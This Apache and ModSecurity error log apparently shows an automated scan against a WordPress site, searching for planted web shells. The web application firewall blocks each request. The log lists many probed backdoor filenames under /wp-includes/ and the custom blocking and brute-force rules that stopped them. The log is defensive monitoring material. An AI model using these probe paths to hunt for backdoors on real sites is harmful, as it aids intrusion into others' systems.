[Wed Dec 10 16:23:28.339697 2025] [:error] [pid 46868:tid 46872] [client 85.204.124.83:39565] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aTkuAI3NdlN2GOOyBjE56gAAAQI"]
[Wed Dec 10 16:23:30.931093 2025] [:error] [pid 36977:tid 37038] [client 85.204.124.83:48973] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aTkuAsc-JLl-uoL-Au5_AQAAAEQ"]
[Wed Dec 10 16:23:31.957445 2025] [:error] [pid 36976:tid 37012] [client 85.204.124.83:64567] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aTkuAySpHW5KVaY9tJlRRAAAAMU"]
[Wed Dec 10 16:23:35.705804 2025] [:error] [pid 37062:tid 37071] [client 85.204.124.85:42095] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aTkuBzB0I62HCw8Z5BQWYAAAAAc"]
[Wed Dec 10 16:23:37.235752 2025] [:error] [pid 36977:tid 37054] [client 85.204.124.86:41577] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aTkuCcc-JLl-uoL-Au5_BQAAAFQ"]
[Wed Dec 10 16:23:39.830970 2025] [:error] [pid 36976:tid 37012] [client 85.204.124.84:62771] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aTkuCySpHW5KVaY9tJlRTAAAAMU"]
[Wed Dec 10 16:23:42.410586 2025] [:error] [pid 37062:tid 37081] [client 85.204.124.86:40033] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aTkuDjB0I62HCw8Z5BQWdAAAABE"]
[Wed Dec 10 16:23:44.470327 2025] [:error] [pid 37062:tid 37078] [client 85.204.124.86:27665] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aTkuEDB0I62HCw8Z5BQWewAAAA4"]
[Wed Dec 10 16:23:47.114452 2025] [:error] [pid 49095:tid 49106] [client 85.204.124.86:28947] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aTkuE8orr4Jt2Tfx_EZ9lgAAAUk"]
[Wed Dec 10 16:23:51.780671 2025] [:error] [pid 37062:tid 37078] [client 85.204.124.83:26205] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aTkuFzB0I62HCw8Z5BQWkQAAAA4"]
[Wed Dec 10 16:23:52.828069 2025] [:error] [pid 36975:tid 36987] [client 85.204.124.83:29811] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aTkuGN_ZNQ3zMmb38BEqZgAAAIc"]
[Wed Dec 10 16:23:53.857060 2025] [:error] [pid 36976:tid 37022] [client 85.204.124.84:22853] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aTkuGSSpHW5KVaY9tJlRaAAAAM8"]
[Wed Dec 10 16:23:54.890097 2025] [:error] [pid 46868:tid 46886] [client 85.204.124.83:50743] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aTkuGo3NdlN2GOOyBjE6AQAAARA"]
[Wed Dec 10 16:23:56.456682 2025] [:error] [pid 36976:tid 37017] [client 85.204.124.84:47371] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aTkuHCSpHW5KVaY9tJlRbwAAAMo"]
[Wed Dec 10 16:23:57.484636 2025] [:error] [pid 49095:tid 49097] [client 85.204.124.86:20849] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTkuHcorr4Jt2Tfx_EZ9uwAAAUA"]
[Wed Dec 10 16:24:00.570174 2025] [:error] [pid 37062:tid 37066] [client 85.204.124.86:45091] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aTkuIDB0I62HCw8Z5BQWsAAAAAI"]
[Wed Dec 10 16:24:01.597520 2025] [:error] [pid 36976:tid 37028] [client 85.204.124.86:33223] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aTkuISSpHW5KVaY9tJlRdgAAANU"]
[Wed Dec 10 16:24:02.631007 2025] [:error] [pid 49095:tid 49097] [client 85.204.124.83:25351] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aTkuIsorr4Jt2Tfx_EZ9xgAAAUA"]
[Wed Dec 10 16:24:03.648248 2025] [:error] [pid 46868:tid 46892] [client 85.204.124.85:62283] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aTkuI43NdlN2GOOyBjE6AwAAARY"]
[Wed Dec 10 16:24:05.198312 2025] [:error] [pid 37062:tid 37082] [client 85.204.124.84:39017] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aTkuJTB0I62HCw8Z5BQWwgAAABI"]
[Wed Dec 10 16:24:07.244151 2025] [:error] [pid 46868:tid 46874] [client 85.204.124.83:33521] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aTkuJ43NdlN2GOOyBjE6CwAAAQQ"]
[Wed Dec 10 16:24:10.352803 2025] [:error] [pid 37062:tid 37075] [client 85.204.124.86:24453] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aTkuKjB0I62HCw8Z5BQW3gAAAAs"]
[Wed Dec 10 16:24:15.066698 2025] [:error] [pid 46868:tid 46887] [client 85.204.124.86:50201] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aTkuL43NdlN2GOOyBjE6HgAAARE"]
[Wed Dec 10 16:24:17.677072 2025] [:error] [pid 36977:tid 37046] [client 85.204.124.86:53575] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aTkuMcc-JLl-uoL-Au5_LwAAAEw"]
[Wed Dec 10 16:24:18.710417 2025] [:error] [pid 49095:tid 49112] [client 85.204.124.86:34835] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aTkuMsorr4Jt2Tfx_EZ94QAAAU8"]
[Wed Dec 10 16:24:21.840281 2025] [:error] [pid 36977:tid 37050] [client 85.204.124.83:21029] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aTkuNcc-JLl-uoL-Au5_NQAAAFA"]
[Wed Dec 10 16:24:24.430814 2025] [proxy_fcgi:error] [pid 37062:tid 37083] [client 85.204.124.86:57877] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:24:24.945722 2025] [proxy_fcgi:error] [pid 37062:tid 37080] [client 85.204.124.86:57877] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:24:25.465076 2025] [proxy_fcgi:error] [pid 37062:tid 37078] [client 85.204.124.86:57877] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:24:28.060924 2025] [:error] [pid 37062:tid 37071] [client 85.204.124.86:57877] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTkuPDB0I62HCw8Z5BQW_wAAAAc"]
[Wed Dec 10 16:24:29.085133 2025] [:error] [pid 36977:tid 37047] [client 85.204.124.86:58959] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aTkuPcc-JLl-uoL-Au5_OwAAAE0"]
[Wed Dec 10 16:24:30.115714 2025] [:error] [pid 36977:tid 37058] [client 85.204.124.83:24411] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aTkuPsc-JLl-uoL-Au5_PQAAAFg"]
[Wed Dec 10 16:24:31.144311 2025] [:error] [pid 49095:tid 49107] [client 85.204.124.86:29653] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aTkuP8orr4Jt2Tfx_EZ98QAAAUo"]
[Wed Dec 10 16:24:32.190746 2025] [:error] [pid 49095:tid 49106] [client 85.204.124.85:25751] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTkuQMorr4Jt2Tfx_EZ9-QAAAUk"]
[Wed Dec 10 16:24:33.229847 2025] [:error] [pid 49095:tid 49100] [client 85.204.124.85:43145] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aTkuQcorr4Jt2Tfx_EZ9_wAAAUM"]
[Wed Dec 10 16:24:34.797171 2025] [:error] [pid 46868:tid 46872] [client 85.204.124.84:64343] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aTkuQo3NdlN2GOOyBjE6KgAAAQI"]
[Wed Dec 10 16:24:35.822796 2025] [:error] [pid 49095:tid 49116] [client 85.204.124.83:25957] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aTkuQ8orr4Jt2Tfx_EZ-BwAAAVM"]
[Wed Dec 10 16:24:36.884735 2025] [:error] [pid 49095:tid 49102] [client 85.204.124.86:23623] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aTkuRMorr4Jt2Tfx_EZ-CwAAAUU"]
[Wed Dec 10 16:24:37.923935 2025] [:error] [pid 37062:tid 37070] [client 85.204.124.84:28619] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aTkuRTB0I62HCw8Z5BQXEwAAAAY"]
[Wed Dec 10 16:24:40.009410 2025] [:error] [pid 36976:tid 37018] [client 85.204.124.84:34721] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aTkuSCSpHW5KVaY9tJlRowAAAMs"]
[Wed Dec 10 16:24:41.555011 2025] [:error] [pid 46868:tid 46890] [client 85.204.124.85:40639] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aTkuSY3NdlN2GOOyBjE6LAAAARQ"]
[Wed Dec 10 16:24:43.612138 2025] [:error] [pid 49095:tid 49097] [client 85.204.124.85:54765] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aTkuS8orr4Jt2Tfx_EZ-GgAAAUA"]
[Wed Dec 10 16:24:45.681306 2025] [:error] [pid 36975:tid 37000] [client 85.204.124.83:59245] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aTkuTd_ZNQ3zMmb38BEqwAAAAJQ"]
[Wed Dec 10 16:24:48.308215 2025] [:error] [pid 49095:tid 49120] [client 85.204.124.84:55481] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aTkuUMorr4Jt2Tfx_EZ-HwAAAVc"]
[Wed Dec 10 16:24:51.536432 2025] [:error] [pid 36977:tid 37053] [client 85.204.124.84:42811] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aTkuU8c-JLl-uoL-Au5_RAAAAFM"]
[Wed Dec 10 16:24:53.080558 2025] [:error] [pid 37062:tid 37077] [client 85.204.124.85:26535] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aTkuVTB0I62HCw8Z5BQXHAAAAA0"]
[Wed Dec 10 16:25:02.621970 2025] [:error] [pid 36976:tid 37027] [client 85.204.124.83:52811] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aTkuXiSpHW5KVaY9tJlRwgAAANQ"]
[Wed Dec 10 16:25:03.650701 2025] [:error] [pid 46868:tid 46893] [client 85.204.124.86:36397] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aTkuX43NdlN2GOOyBjE6QQAAARc"]
[Wed Dec 10 16:25:04.694794 2025] [:error] [pid 49095:tid 49103] [client 85.204.124.83:60133] [client 85.204.124.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.204.124.83, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aTkuYMorr4Jt2Tfx_EZ-TQAAAUY"]
[Wed Dec 10 16:25:05.734829 2025] [:error] [pid 49095:tid 49108] [client 85.204.124.83:60133] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aTkuYcorr4Jt2Tfx_EZ-UAAAAUs"]
[Wed Dec 10 16:25:07.809773 2025] [:error] [pid 36977:tid 37050] [client 85.204.124.84:54379] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aTkuY8c-JLl-uoL-Au5_UwAAAFA"]
[Wed Dec 10 16:25:08.838014 2025] [:error] [pid 49095:tid 49111] [client 85.204.124.84:60713] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aTkuZMorr4Jt2Tfx_EZ-UgAAAU4"]
[Wed Dec 10 16:25:11.940959 2025] [:error] [pid 46868:tid 46888] [client 85.204.124.84:35963] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aTkuZ43NdlN2GOOyBjE6SwAAARI"]
